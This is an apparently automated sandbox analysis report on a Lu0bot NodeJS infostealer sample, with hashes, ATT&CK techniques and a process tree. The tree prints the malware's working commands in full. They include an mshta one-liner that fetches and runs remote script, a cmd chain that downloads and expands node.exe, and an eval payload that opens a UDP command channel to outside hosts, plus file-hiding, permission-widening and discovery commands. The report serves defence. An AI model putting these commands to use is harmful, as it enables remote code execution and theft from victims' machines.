lu0bot | 3a8ffe53dce3cc92dd54f8ee34c3f9a8db950c80b53ffb44f36b43123297bea0

Analysis

max time kernel
150s
max time network
151s
platform
windows10_x64
resource
win10v20210410
submitted
19-06-2021 12:30

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General

Target

usfive_20210619-091549.exe
Size

2KB
MD5

5c377a96ac9dd5bd2148e42d328fe237
SHA1

c9b412f7a62d1142c2845ffb472041601952eb87
SHA256

3a8ffe53dce3cc92dd54f8ee34c3f9a8db950c80b53ffb44f36b43123297bea0
SHA512

550e85434db90f71975b91a9239e2f8db40cebad811e7d27ccd061402b85e3446dea4e6c127da94ab83911d7ac0afef19c0ebcbd77fac8ddb2c6161c8b684314

Score

10^/10

lu0bot discovery stealer trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	672	mshta.exe
8	196	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
3820	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4064	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
3496	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
4060	ipconfig.exe
3864	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2760	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\b3d3c9f4a8a3f97d:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:508cbf5723967b805f8cac57519be185	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3820	node.exe
3820	node.exe
3820	node.exe
3820	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	3496	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3492	wmic.exe
Token: SeSecurityPrivilege	3492	wmic.exe
Token: SeTakeOwnershipPrivilege	3492	wmic.exe
Token: SeLoadDriverPrivilege	3492	wmic.exe
Token: SeSystemProfilePrivilege	3492	wmic.exe
Token: SeSystemtimePrivilege	3492	wmic.exe
Token: SeProfSingleProcessPrivilege	3492	wmic.exe
Token: SeIncBasePriorityPrivilege	3492	wmic.exe
Token: SeCreatePagefilePrivilege	3492	wmic.exe
Token: SeBackupPrivilege	3492	wmic.exe
Token: SeRestorePrivilege	3492	wmic.exe
Token: SeShutdownPrivilege	3492	wmic.exe
Token: SeDebugPrivilege	3492	wmic.exe
Token: SeSystemEnvironmentPrivilege	3492	wmic.exe
Token: SeRemoteShutdownPrivilege	3492	wmic.exe
Token: SeUndockPrivilege	3492	wmic.exe
Token: SeManageVolumePrivilege	3492	wmic.exe
Token: 33	3492	wmic.exe
Token: 34	3492	wmic.exe
Token: 35	3492	wmic.exe
Token: 36	3492	wmic.exe
Token: SeIncreaseQuotaPrivilege	3492	wmic.exe
Token: SeSecurityPrivilege	3492	wmic.exe
Token: SeTakeOwnershipPrivilege	3492	wmic.exe
Token: SeLoadDriverPrivilege	3492	wmic.exe
Token: SeSystemProfilePrivilege	3492	wmic.exe
Token: SeSystemtimePrivilege	3492	wmic.exe
Token: SeProfSingleProcessPrivilege	3492	wmic.exe
Token: SeIncBasePriorityPrivilege	3492	wmic.exe
Token: SeCreatePagefilePrivilege	3492	wmic.exe
Token: SeBackupPrivilege	3492	wmic.exe
Token: SeRestorePrivilege	3492	wmic.exe
Token: SeShutdownPrivilege	3492	wmic.exe
Token: SeDebugPrivilege	3492	wmic.exe
Token: SeSystemEnvironmentPrivilege	3492	wmic.exe
Token: SeRemoteShutdownPrivilege	3492	wmic.exe
Token: SeUndockPrivilege	3492	wmic.exe
Token: SeManageVolumePrivilege	3492	wmic.exe
Token: 33	3492	wmic.exe
Token: 34	3492	wmic.exe
Token: 35	3492	wmic.exe
Token: 36	3492	wmic.exe
Token: SeDebugPrivilege	3864	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 3180 wrote to memory of 672	3180	usfive_20210619-091549.exe	72
PID 3180 wrote to memory of 672	3180	usfive_20210619-091549.exe	72
PID 3180 wrote to memory of 672	3180	usfive_20210619-091549.exe	72
PID 672 wrote to memory of 4060	672	mshta.exe	77
PID 672 wrote to memory of 4060	672	mshta.exe	77
PID 672 wrote to memory of 4060	672	mshta.exe	77
PID 4060 wrote to memory of 196	4060	cmd.exe	79
PID 4060 wrote to memory of 196	4060	cmd.exe	79
PID 4060 wrote to memory of 196	4060	cmd.exe	79
PID 4060 wrote to memory of 3808	4060	cmd.exe	80
PID 4060 wrote to memory of 3808	4060	cmd.exe	80
PID 4060 wrote to memory of 3808	4060	cmd.exe	80
PID 4060 wrote to memory of 3972	4060	cmd.exe	81
PID 4060 wrote to memory of 3972	4060	cmd.exe	81
PID 4060 wrote to memory of 3972	4060	cmd.exe	81
PID 3972 wrote to memory of 3820	3972	cscript.exe	82
PID 3972 wrote to memory of 3820	3972	cscript.exe	82
PID 3972 wrote to memory of 3820	3972	cscript.exe	82
PID 3820 wrote to memory of 2564	3820	node.exe	86
PID 3820 wrote to memory of 2564	3820	node.exe	86
PID 3820 wrote to memory of 2564	3820	node.exe	86
PID 3820 wrote to memory of 2736	3820	node.exe	87
PID 3820 wrote to memory of 2736	3820	node.exe	87
PID 3820 wrote to memory of 2736	3820	node.exe	87
PID 3820 wrote to memory of 4064	3820	node.exe	88
PID 3820 wrote to memory of 4064	3820	node.exe	88
PID 3820 wrote to memory of 4064	3820	node.exe	88
PID 3820 wrote to memory of 3044	3820	node.exe	89
PID 3820 wrote to memory of 3044	3820	node.exe	89
PID 3820 wrote to memory of 3044	3820	node.exe	89
PID 3820 wrote to memory of 4068	3820	node.exe	90
PID 3820 wrote to memory of 4068	3820	node.exe	90
PID 3820 wrote to memory of 4068	3820	node.exe	90
PID 3820 wrote to memory of 3496	3820	node.exe	92
PID 3820 wrote to memory of 3496	3820	node.exe	92
PID 3820 wrote to memory of 3496	3820	node.exe	92
PID 3820 wrote to memory of 3492	3820	node.exe	93
PID 3820 wrote to memory of 3492	3820	node.exe	93
PID 3820 wrote to memory of 3492	3820	node.exe	93
PID 3820 wrote to memory of 4060	3820	node.exe	94
PID 3820 wrote to memory of 4060	3820	node.exe	94
PID 3820 wrote to memory of 4060	3820	node.exe	94
PID 3820 wrote to memory of 2140	3820	node.exe	95
PID 3820 wrote to memory of 2140	3820	node.exe	95
PID 3820 wrote to memory of 2140	3820	node.exe	95
PID 3820 wrote to memory of 3864	3820	node.exe	96
PID 3820 wrote to memory of 3864	3820	node.exe	96
PID 3820 wrote to memory of 3864	3820	node.exe	96
PID 3820 wrote to memory of 2760	3820	node.exe	97
PID 3820 wrote to memory of 2760	3820	node.exe	97
PID 3820 wrote to memory of 2760	3820	node.exe	97

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
3044	attrib.exe
4068	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210619-091549.exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210619-091549.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3180
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();240;y=unescape('%361%7Eh%74t%70%3A%2F%2F%68r%692%2Ex%79z%2Fh%72i%2F%3F%321%616%654%62%7E%318%33').split('~');69;try{x='WinHttp';10;x=new ActiveXObject(x+'.'+x+'Request.5.1');117;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);42;x.send();184;y='ipt.S';122;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);19;}catch(e){};242;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:672
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1624105876719.txt & cscript /nologo /e:jscript get1624105876719.txt "http%3A%2F%2Fhri2.xyz%2Fhri%2F%3F2763b1491%26b%3Dd12b4aec" node.cab & expand node.cab node.exe & del get1624105876719.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1624105876719.txt & cscript /nologo /e:jscript get1624105876719.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27763b1491%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu01.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1624105876719.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4060
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1624105876719.txt "http%3A%2F%2Fhri2.xyz%2Fhri%2F%3F2763b1491%26b%3Dd12b4aec" node.cab
      4⤵
      Blocklisted process makes network request
      PID:196
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:3808
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1624105876719.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27763b1491%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu01.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3972
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27763b1491%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu01.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3820
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:2564
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:2736
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:4064
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:3044
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:4068
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3496
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3492
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:4060
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:2140
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:3864
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:2760

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3820-129-0x000000000FC00000-0x000000000FC01000-memory.dmp

Filesize
4KB

Download
memory/3820-130-0x0000000016400000-0x0000000016401000-memory.dmp

Filesize
4KB

Download
memory/3820-128-0x0000000006C00000-0x0000000006C01000-memory.dmp

Filesize
4KB

Download
memory/3820-127-0x000000003F000000-0x000000003F001000-memory.dmp

Filesize
4KB

Download
memory/3820-125-0x0000000037A00000-0x0000000037A01000-memory.dmp

Filesize
4KB

Download
memory/3820-126-0x0000000035A00000-0x0000000035A01000-memory.dmp

Filesize
4KB

Download